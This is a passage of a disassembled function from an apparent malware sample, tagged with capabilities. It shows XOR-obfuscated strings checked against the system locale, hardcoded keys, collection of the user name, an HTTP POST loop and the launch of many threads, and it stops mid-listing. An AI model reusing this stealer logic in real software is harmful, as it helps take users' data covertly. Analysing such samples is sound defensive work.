Function at 0x429796
Capabilities:
Authenticate hmac
Create thread
Encode data using xor
Get geographical location
Get session user name
Query environment variable
Terminate process

Disassembly:
mov eax, 0x46840f
call fcn.004656a0
push ecx
mov eax, 0x1860
call fcn.0043e5d0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push ebx
mov dword [ebp - 0x24], ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.00432df7
test al, al
je 0x42fbe0
call fcn.00435ae5
test eax, eax
je 0x4297d8
call fcn.00435b8a
mov esi, 0xff
lea eax, [ebp - 0xf90]
push esi
push ebx
push eax
call fcn.00440770
add esp, 0xc
lea eax, [ebp - 0xf90]
push esi
push eax
push 0x1001
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov cl, 0xf
mov dword [ebp - 0x2af], 0x8385a20f
mov dword [ebp - 0x2ab], 0x9e919983
mov edx, ebx
mov byte [ebp - 0x2a7], bl
not cl
xor byte [ebp + edx - 0x2ae], cl
inc edx
cmp edx, 7
jae 0x42983d
mov cl, byte [ebp - 0x2af]
jmp 0x429826
lea eax, [ebp - 0x2ae]
mov byte [ebp - 0x2a7], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x17
mov dword [ebp - 0x2c4], 0x9a83bd17
mov dword [ebp - 0x2c0], 0x81868189
mov edx, ebx
mov word [ebp - 0x2bc], 0x8689
mov byte [ebp - 0x2ba], bl
not cl
xor byte [ebp + edx - 0x2c3], cl
inc edx
cmp edx, 9
jae 0x42989e
mov cl, byte [ebp - 0x2c4]
jmp 0x429887
lea eax, [ebp - 0x2c3]
mov byte [ebp - 0x2ba], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x66
mov dword [ebp - 0x2d0], 0xf5fcdb66
mov dword [ebp - 0x2cc], 0xeaecebf8
mov edx, ebx
mov dword [ebp - 0x2c8], 0xf7f8f0
not cl
xor byte [ebp + edx - 0x2cf], cl
inc edx
cmp edx, 0xa
jae 0x4298fa
mov cl, byte [ebp - 0x2d0]
jmp 0x4298e3
lea eax, [ebp - 0x2cf]
mov byte [ebp - 0x2c5], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x44
mov dword [ebp - 0x295], 0xc1daf044
mov dword [ebp - 0x291], 0xd3d0da
mov edx, ebx
not cl
xor byte [ebp + edx - 0x294], cl
inc edx
cmp edx, 6
jae 0x42994c
mov cl, byte [ebp - 0x295]
jmp 0x429935
lea eax, [ebp - 0x294]
mov byte [ebp - 0x28e], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x7a
mov dword [ebp - 0x29d], 0xf7fcce7a
mov dword [ebp - 0x299], 0xfffce2
mov edx, ebx
not cl
xor byte [ebp + edx - 0x29c], cl
inc edx
cmp edx, 6
jae 0x42999e
mov cl, byte [ebp - 0x29d]
jmp 0x429987
lea eax, [ebp - 0x29c]
mov byte [ebp - 0x296], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x20
mov dword [ebp - 0x2b9], 0xb2ad9e20
mov dword [ebp - 0x2b5], 0xbeb6b1ba
mov edx, ebx
mov word [ebp - 0x2b1], 0xb1
not cl
xor byte [ebp + edx - 0x2b8], cl
inc edx
cmp edx, 8
jae 0x4299f9
mov cl, byte [ebp - 0x2b9]
jmp 0x4299e2
lea eax, [ebp - 0x2b8]
mov byte [ebp - 0x2b0], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x31
mov dword [ebp - 0x283], 0xa4af9a31
mov word [ebp - 0x27f], 0xa5a7
mov edx, ebx
mov byte [ebp - 0x27d], bl
not cl
xor byte [ebp + edx - 0x282], cl
inc edx
cmp edx, 5
jae 0x429a50
mov cl, byte [ebp - 0x283]
jmp 0x429a39
lea eax, [ebp - 0x282]
mov byte [ebp - 0x27d], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
mov cl, 0x62
mov dword [ebp - 0x28a], 0xffe7c862
mov word [ebp - 0x286], 0xf6f8
mov edx, ebx
mov byte [ebp - 0x284], bl
not cl
xor byte [ebp + edx - 0x289], cl
inc edx
cmp edx, 5
jae 0x429aa7
mov cl, byte [ebp - 0x28a]
jmp 0x429a90
lea eax, [ebp - 0x289]
mov byte [ebp - 0x284], bl
push eax
lea eax, [ebp - 0xf90]
push eax
call fcn.00443000
pop ecx
pop ecx
test eax, eax
je 0x42fbfd
movaps xmm0, xmmword [0x47d3e0]
mov edx, ebx
movups xmmword [ebp - 0x31e], xmm0
mov word [ebp - 0x30e], 0xbc
mov cl, byte [ebp - 0x31e]
not cl
xor byte [ebp + edx - 0x31d], cl
inc edx
cmp edx, 0x10
jb 0x429ae3
push str.qSVdAbi_K2pP9eTPjNld5MgaALbQsyox4MDv0iVTuA
lea ecx, [ebp - 0x484]
mov byte [ebp - 0x30d], bl
call fcn.00411d34
push str.omEbQPi1NCELsaePzpVK78lQWHIEZT8ncsD4x7PQbEBX0lOgiQaOg
lea ecx, [ebp - 0x49c]
mov dword [ebp - 4], ebx
call fcn.00411d34
push str.6af7fae138b9752d1d76736dcb534c9d
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 4], 1
call fcn.00411d34
lea eax, [ebp - 0x508]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4cc]
call fcn.0041986e
lea ecx, [ebp - 0x4cc]
mov edi, dword [eax]
lea eax, [ebp - 0x51c]
push eax
call fcn.0041986e
lea ecx, [ebp - 0x4cc]
mov esi, dword [eax]
lea eax, [ebp - 0x4d0]
push eax
call fcn.00419889
push esi
mov edx, fcn.00442a17
lea ecx, [ebp - 0x4d4]
push dword [eax]
call fcn.00419a44
pop ecx
pop ecx
push edi
push dword [eax]
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.0041989d
lea eax, [ebp - 0x504]
push eax
lea ecx, [ebp - 0x484]
call fcn.0041986e
lea ecx, [ebp - 0x484]
mov edi, dword [eax]
lea eax, [ebp - 0x4dc]
push eax
call fcn.0041986e
lea ecx, [ebp - 0x484]
mov esi, dword [eax]
lea eax, [ebp - 0x4e0]
push eax
call fcn.00419889
push esi
mov edx, fcn.00442a17
lea ecx, [ebp - 0x4e4]
push dword [eax]
call fcn.00419a44
pop ecx
pop ecx
push edi
push dword [eax]
lea eax, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x484]
call fcn.0041989d
lea eax, [ebp - 0x584]
push eax
lea ecx, [ebp - 0x49c]
call fcn.0041986e
lea ecx, [ebp - 0x49c]
mov edi, dword [eax]
lea eax, [ebp - 0x518]
push eax
call fcn.0041986e
mov esi, dword [eax]
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00419889
push esi
mov edx, fcn.00442a17
lea ecx, [ebp - 0x510]
push dword [eax]
call fcn.00419a44
pop ecx
pop ecx
push edi
push dword [eax]
lea eax, [ebp - 0x50c]
push eax
lea ecx, [ebp - 0x49c]
call fcn.0041989d
lea edx, [ebp - 0x484]
lea ecx, [ebp - 0x9ec]
call fcn.004143f8
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x31d]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411d34
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x9ec]
mov ecx, esp
push eax
call fcn.00411d68
lea eax, [ebp - 0x674]
mov byte [ebp - 4], 3
mov esi, 0x488b48
push eax
mov ecx, esi
call fcn.004147f6
lea edx, [ebp - 0x49c]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9d4]
call fcn.004143f8
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x31d]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411d34
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x9d4]
mov ecx, esp
push eax
call fcn.00411d68
lea eax, [ebp - 0x46c]
mov byte [ebp - 4], 6
push eax
mov ecx, esi
call fcn.004147f6
push 0x47734b
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 8
call fcn.00411d34
push 0x47bc00
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 9
call fcn.00411a05
lea eax, [ebp - 0x54c]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x534]
push eax
lea edx, [ebp - 0x674]
lea ecx, [ebp - 0x4b4]
call fcn.00430f27
pop ecx
pop ecx
lea ecx, [ebp - 0x534]
call fcn.00412448
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 0xd
call fcn.00412665
push ebx
mov edi, 0x4889f4
lea ecx, [ebp - 0x4b4]
push edi
call fcn.00411b0e
cmp eax, 0xffffffff
jne 0x429e25
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 4], 8
call fcn.00412665
push 0x47734b
lea ecx, [ebp - 0x54c]
call fcn.00411d34
push 0x47bc00
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 9
call fcn.00411a05
lea eax, [ebp - 0x54c]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x534]
push eax
lea edx, [ebp - 0x674]
lea ecx, [ebp - 0x4b4]
call fcn.00430f27
pop ecx
pop ecx
lea ecx, [ebp - 0x534]
call fcn.00412448
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 0xd
call fcn.00412665
push ebx
push edi
lea ecx, [ebp - 0x4b4]
call fcn.00411b0e
cmp eax, 0xffffffff
je 0x429d96
push 0x488a3c
push edi
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x3fc]
call fcn.004325b1
pop ecx
pop ecx
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x3fc]
cmp dword [ebp - 0x3e8], 0x10
mov ecx, dword [ebp - 0x3ec]
cmovae eax, dword [ebp - 0x3fc]
cmp byte [ecx + eax - 1], 0xa
jne 0x429e74
lea eax, [ecx - 1]
push 1
push eax
lea ecx, [ebp - 0x3fc]
call fcn.004126f0
push 5
push ebx
lea ecx, [ebp - 0x3fc]
call fcn.004126f0
mov eax, dword [ebp - 0x3ec]
lea ecx, [ebp - 0x3fc]
push 6
add eax, 0xfffffffa
push eax
call fcn.004126f0
lea ecx, [ebp - 0x1468]
call fcn.00411d57
lea edx, [ebp - 0x3fc]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x9bc]
call fcn.004143f8
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x4cc]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411d68
sub esp, 0x18
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x9bc]
mov ecx, esp
push eax
call fcn.00411d68
lea eax, [ebp - 0x338]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x1868]
call fcn.004147f6
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x12
call fcn.0042fec1
cmp byte [eax], 0x2f
je 0x429f1d
push 0x2f
lea ecx, [ebp - 0x338]
call fcn.004126b5
mov edi, ebx
mov cl, 0x13
mov dword [ebp - 0xff], 0xd18e13
mov edx, ebx
not cl
xor byte [ebp + edx - 0xfe], cl
inc edx
cmp edx, 2
jae 0x429f44
mov cl, byte [ebp - 0xff]
jmp 0x429f2d
lea edx, [ebp - 0xfe]
mov byte [ebp - 0xfc], bl
mov ecx, 0x47734b
call fcn.004324c4
mov esi, eax
mov dword [ebp - 0x33c], 0x101
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x114c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov al, 0x60
mov byte [ebp - 0x28d], 0x60
mov cl, 0xc0
mov byte [ebp - 0x28b], bl
not al
xor cl, al
mov byte [ebp - 0x28c], cl
lea ecx, [ebp - 0xe6c]
call fcn.004357d2
mov byte [ebp - 4], 0x13
cmp dword [eax + 0x14], 0x10
jb 0x429fac
mov eax, dword [eax]
lea edx, [ebp - 0x28c]
mov ecx, eax
call fcn.004324c4
lea edx, [ebp - 0x114c]
mov ecx, eax
call fcn.004324c4
mov edx, eax
mov ecx, esi
call fcn.004324c4
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 4], 0x12
mov esi, eax
call fcn.00412665
mov cl, 0x75
mov dword [ebp - 0x273], 0xb7e9ac75
mov byte [ebp - 0x26f], bl
mov edx, ebx
not cl
xor byte [ebp + edx - 0x272], cl
inc edx
cmp edx, 3
jae 0x42a00b
mov cl, byte [ebp - 0x273]
jmp 0x429ff4
lea edx, [ebp - 0x272]
mov byte [ebp - 0x26f], bl
mov ecx, esi
call fcn.004324c4
cmp dword [ebp - 0x458], 0x10
lea edx, [ebp - 0x46c]
mov ecx, eax
cmovae edx, dword [ebp - 0x46c]
call fcn.004324c4
mov esi, eax
mov dword [ebp - 0x2a6], 0xecb7f72e
mov cl, 0x2e
mov dword [ebp - 0x2a2], 0xbfbea2bb
mov byte [ebp - 0x29e], bl
mov edx, ebx
not cl
xor byte [ebp + edx - 0x2a5], cl
inc edx
cmp edx, 7
jae 0x42a070
mov cl, byte [ebp - 0x2a6]
jmp 0x42a059
lea edx, [ebp - 0x2a5]
mov byte [ebp - 0x29e], bl
mov ecx, esi
call fcn.004324c4
sub esp, 0x18
mov esi, eax
lea eax, [ebp - 0x31d]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411d34
sub esp, 0x18
mov byte [ebp - 4], 0x14
mov ecx, esp
push esi
call fcn.00411d34
lea eax, [ebp - 0xe84]
mov byte [ebp - 4], 0x12
push eax
mov ecx, 0x488b48
call fcn.004147f6
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x57c]
call fcn.004145b9
lea ecx, [ebp - 0xe84]
mov byte [ebp - 4], 0x17
call fcn.00412665
push str.POST
lea ecx, [ebp - 0xa04]
call fcn.00411a05
lea eax, [ebp - 0x57c]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0xa04]
push eax
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x3e4]
call fcn.00430f27
pop ecx
pop ecx
lea ecx, [ebp - 0xa04]
mov byte [ebp - 4], 0x1a
call fcn.00412448
push esi
call fcn.0043d636
cmp dword [ebp - 0x3d4], 3
pop ecx
jae 0x42a17b
sub edi, ebx
je 0x42a159
sub edi, 1
je 0x42a149
sub edi, 1
jne 0x42a17b
push 3
pop edi
push 0xc350
jmp 0x42a151
push 2
pop edi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x42a15c
xor edi, edi
inc edi
lea ecx, [ebp - 0x3e4]
call fcn.00412665
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x12
call fcn.00412665
jmp 0x429f1f
sub esp, 0x18
lea eax, [ebp - 0x31d]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00411d34
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0x3e4]
mov ecx, esp
call fcn.004143f8
lea eax, [ebp - 0xe54]
mov byte [ebp - 4], 0x1a
push eax
mov ecx, 0x488b48
call fcn.004147f6
lea ecx, [ebp - 0x3e4]
cmp ecx, eax
je 0x42a1ce
mov byte [ebp - 0x20], bl
push dword [ebp - 0x20]
push eax
call fcn.00412943
lea ecx, [ebp - 0xe54]
call fcn.00412665
movaps xmm0, xmmword [0x47d6a0]
mov edx, ebx
movups xmmword [ebp - 0x419], xmm0
mov byte [ebp - 0x409], bl
mov cl, byte [ebp - 0x419]
not cl
xor byte [ebp + edx - 0x418], cl
inc edx
cmp edx, 0xf
jb 0x42a1ef
push ebx
lea eax, [ebp - 0x418]
mov byte [ebp - 0x409], bl
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x42fb46
lea eax, [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x42c]
call fcn.004229f7
push 1
sub esp, 0x28
mov byte [ebp - 4], 0x1c
mov eax, esp
lea edx, [ebp - 0x42c]
lea ecx, [ebp - 0x40]
mov dword [eax + 0x24], ebx
call fcn.00420d7a
add esp, 0x2c
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x428]
test ecx, ecx
je 0x42a26a
call fcn.00409de0
cmp dword [ebp - 0x324], 0x10
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
push eax
call fcn.00449520
pop ecx
test eax, eax
je 0x42fb3e
cmp dword [ebp - 0x458], 0x10
lea eax, [ebp - 0x46c]
cmovae eax, dword [ebp - 0x46c]
push eax
call fcn.00449520
pop ecx
test eax, eax
je 0x42fb3e
call fcn.0043295d
mov byte [ebp - 0x20], bl
lea edx, [ebp - 0x340]
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa1c]
mov dword [ebp - 0x340], eax
call fcn.00414112
pop ecx
lea ecx, [ebp - 0xa1c]
mov byte [ebp - 4], 0x1f
call fcn.0041a002
lea ecx, [ebp - 0xa1c]
mov byte [ebp - 4], 0x1e
call fcn.00412448
call fcn.0043b881
call fcn.004323ec
lea ecx, [ebp - 0x408]
call fcn.00413e53
lea ecx, [ebp - 0x5fc]
call fcn.00411d57
mov edi, 0x488a54
mov byte [ebp - 4], 0x21
push edi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
cmp byte [eax], 0
je 0x42a4dc
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], ebx
mov esi, ebx
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
test eax, eax
je 0x42a4dc
push edi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x488fa8
mov ecx, eax
call fcn.0042fd3a
cmp byte [eax], 0
je 0x42a489
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], ebx
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x488fa8
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
test eax, eax
je 0x42a47b
mov edi, dword [ebp - 0x24]
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x488fa8
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
mov esi, eax
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 4], 0x22
call fcn.00411d57
or edi, 0x800
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x6a4]
mov dword [ebp - 0x24], edi
mov ecx, esi
call fcn.00426ba4
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x5fc]
cmp ecx, eax
je 0x42a415
mov byte [ebp - 0x278], bl
push dword [ebp - 0x278]
push eax
call fcn.00412943
and edi, 0xfffff7ff
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x6a4]
mov dword [ebp - 0x24], edi
call fcn.00412665
lea eax, [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x408]
call fcn.0042fe8b
inc dword [ebp - 0x28]
lea ecx, [ebp - 0x40]
push 0x488a54
call fcn.0042fd3a
mov esi, dword [ebp - 0x18]
mov ecx, eax
push esi
call fcn.0042fd79
push 0x488fa8
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
cmp dword [ebp - 0x28], eax
jb 0x42a3a1
mov edi, 0x488a54
mov dword [ebp - 0x344], ebx
lea eax, [ebp - 0x344]
jmp 0x42a499
mov dword [ebp - 0x348], 1
lea eax, [ebp - 0x348]
push eax
mov ecx, 0x48b98c
call fcn.0042fd05
lea eax, [ebp - 0x408]
mov ecx, 0x48b998
push eax
call fcn.0042fcd1
lea ecx, [ebp - 0x408]
call fcn.004197bb
inc esi
lea ecx, [ebp - 0x40]
push edi
mov dword [ebp - 0x18], esi
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
cmp esi, eax
jb 0x42a349
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x416038
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x418470
push ebx
push ebx
mov dword [ebp - 0x36c], eax
call edi
push ebx
push ebx
push ebx
push 0x4164be
push ebx
push ebx
mov dword [ebp - 0x38c], eax
call edi
push ebx
push ebx
push ebx
push 0x416d60
push ebx
push ebx
mov dword [ebp - 0x370], eax
call edi
push ebx
push ebx
push ebx
push 0x417485
push ebx
push ebx
mov dword [ebp - 0x374], eax
call edi
push ebx
push ebx
push ebx
push 0x4180a9
push ebx
push ebx
mov dword [ebp - 0x378], eax
call edi
push ebx
push ebx
push ebx
push 0x417c56
push ebx
push ebx
mov dword [ebp - 0x37c], eax
call edi
push ebx
push ebx
push ebx
push 0x4189a5
push ebx
push ebx
mov dword [ebp - 0x388], eax
call edi
push ebx
push ebx
push ebx
push 0x418f2b
push ebx
push ebx
mov dword [ebp - 0x380], eax
call edi
push ebx
push ebx
push ebx
push 0x4182c1
push ebx
push ebx
mov dword [ebp - 0x390], eax
call edi
mov dword [ebp - 0x384], eax
push ebx
push ebx
push ebx
push 0x4195d7
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x419460
push ebx
push ebx
call edi
push 0x488964
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], eax
call fcn.0042fd3a
cmp byte [eax], 0
je 0x42a7ce
cmp dword [0x4890ac], 0x10
mov esi, 0x489098
cmovae esi, dword [0x489098]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x6ec]
call fcn.00411d34
push 0x488964
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x23
call fcn.0042fd3a
mov esi, eax
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x24
call fcn.00411d57
mov edi, dword [ebp - 0x24]
lea edx, [ebp - 0x6d4]
or edi, 0x1000
mov dword [ebp - 0x20], eax
mov ecx, esi
mov dword [ebp - 0x24], edi
call fcn.00426ba4
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x14], 0x10
jb 0x42a63d
mov eax, dword [eax]
cmp dword [ebp - 0x324], 0x10
lea ecx, [ebp - 0x338]
mov edx, eax
cmovae ecx, dword [ebp - 0x338]
call fcn.004324c4
push eax
lea ecx, [ebp - 0x6bc]
call fcn.00411d34
lea edx, [ebp - 0x6ec]
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x6bc]
call fcn.0043130d
lea ecx, [ebp - 0x6bc]
call fcn.00412665
and edi, 0xffffefff
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 0x24], edi
call fcn.00412665
lea ecx, [ebp - 0x6ec]
mov byte [ebp - 4], 0x21
call fcn.00412665
cmp dword [0x4890ac], 0x10
mov esi, 0x489098
cmovae esi, dword [0x489098]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x68c]
call fcn.00411d34
mov byte [ebp - 4], 0x26
lea edx, [ebp - 0x68c]
mov byte [ebp - 0x20], bl
lea ecx, [ebp - 0x704]
push dword [ebp - 0x20]
call fcn.004140e0
pop ecx
lea ecx, [ebp - 0x704]
mov byte [ebp - 4], 0x27
call fcn.00414960
lea ecx, [ebp - 0x704]
mov byte [ebp - 4], 0x26
mov bl, al
call fcn.00412448
test bl, bl
je 0x42a7b7
xor ebx, ebx
lea edx, [ebp - 0x68c]
mov byte [ebp - 0x20], bl
lea ecx, [ebp - 0x71c]
push dword [ebp - 0x20]
call fcn.004140e0
pop ecx
lea ecx, [ebp - 0x71c]
mov byte [ebp - 4], 0x28
call fcn.0041491c
cmp edx, ebx
ja 0x42a74f
mov byte [ebp - 0x11], bl
cmp eax, 0x19000
jbe 0x42a753
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x71c]
mov byte [ebp - 4], 0x26
call fcn.00412448
cmp byte [ebp - 0x11], 0
je 0x42a7b9
push 0x48894c
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
cmp byte [eax], 0
je 0x42a7a2
push 0x48894c
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
lea edx, [ebp - 0x34c]
mov ecx, eax
call fcn.004305b8
xor eax, eax
cmp dword [ebp - 0x34c], 1
sete al
jmp 0x42a7a4
mov eax, ebx
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x350], eax
call fcn.00410027
jmp 0x42a7b9
xor ebx, ebx
lea ecx, [ebp - 0x68c]
mov byte [ebp - 4], 0x21
call fcn.00412665
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x427ce5
push ebx
push ebx
call edi
test eax, eax
je 0x42a7e7
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x488b28], 0x10
mov esi, 0x488b14
cmovae esi, dword [0x488b14]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x354], eax
lea ecx, [ebp - 0x734]
push ebx
lea eax, [ebp - 0x354]
push eax
call fcn.004130e7
lea ecx, [ebp - 0x734]
mov byte [ebp - 4], 0x29
call fcn.0040b99e
lea ecx, [ebp - 0x734]
mov byte [ebp - 4], 0x21
mov bl, al
call fcn.0040aa13
test bl, bl
je 0x42a984
mov ecx, 0x488b14
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x358], eax
lea ecx, [ebp - 0x74c]
push 0
lea eax, [ebp - 0x358]
push eax
call fcn.004130e7
lea eax, [ebp - 0x74c]
mov byte [ebp - 4], 0x2a
push eax
lea ecx, [ebp - 0x3bc]
call fcn.0040b384
lea ecx, [ebp - 0x74c]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3bc]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x30c]
call fcn.0040b409
lea eax, [ebp - 0x3bc]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x434]
call fcn.0040b427
pop ecx
pop ecx
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x30c]
call fcn.0040b3f8
test al, al
je 0x42a95d
lea ecx, [ebp - 0x30c]
call fcn.0040b3ce
mov esi, eax
mov byte [ebp - 4], 0x2f
mov ecx, esi
call fcn.0040afbc
mov ecx, eax
call fcn.00414960
test al, al
je 0x42a938
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xb0c]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x30
call fcn.0040bed4
lea ecx, [ebp - 0xb0c]
call fcn.00411ce9
lea ecx, [ebp - 0x30c]
mov dword [ebp - 4], 0x2e
call fcn.0040b3d1
jmp 0x42a8d4
lea ecx, [ebp - 0x434]
call fcn.0040b41b
lea ecx, [ebp - 0x30c]
call fcn.0040b41b
lea ecx, [ebp - 0x3bc]
call fcn.0040b41b
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x500]
call fcn.00411d57
push 0x48894c
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x32
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42a9cd
push 0x48894c
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
mov ecx, eax
call fcn.00430146
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4e8], eax
jmp 0x42a9d4
and dword [ebp - 0x4e8], 0
push 0x6c
lea ecx, [ebp - 0x5f]
mov byte [ebp - 0x5f], 0x3a
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x5f]
mov byte [ebp - 0x5e], al
call fcn.004197ad
mov byte [ebp - 0x5d], al
xor esi, esi
mov byte [ebp - 0x5c], 0
push esi
lea ecx, [ebp - 0x5e]
call fcn.00410f8d
lea ecx, [ebp - 0x5f]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x5e]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 2
jb 0x42a9f8
push 2
lea ecx, [ebp - 0x5e]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x5e]
mov byte [eax], bl
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x65c]
call fcn.00411d34
lea eax, [ebp - 0x65c]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42aaba
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
lea ecx, [ebp - 0xb24]
push ecx
mov ecx, eax
call fcn.00422ab3
mov ecx, eax
mov byte [ebp - 4], 0x34
call fcn.00411bb7
lea ecx, [ebp - 0x338]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x500]
call fcn.00411cb8
lea ecx, [ebp - 0xb24]
call fcn.00411ce9
jmp 0x42ab6e
push 0x6e
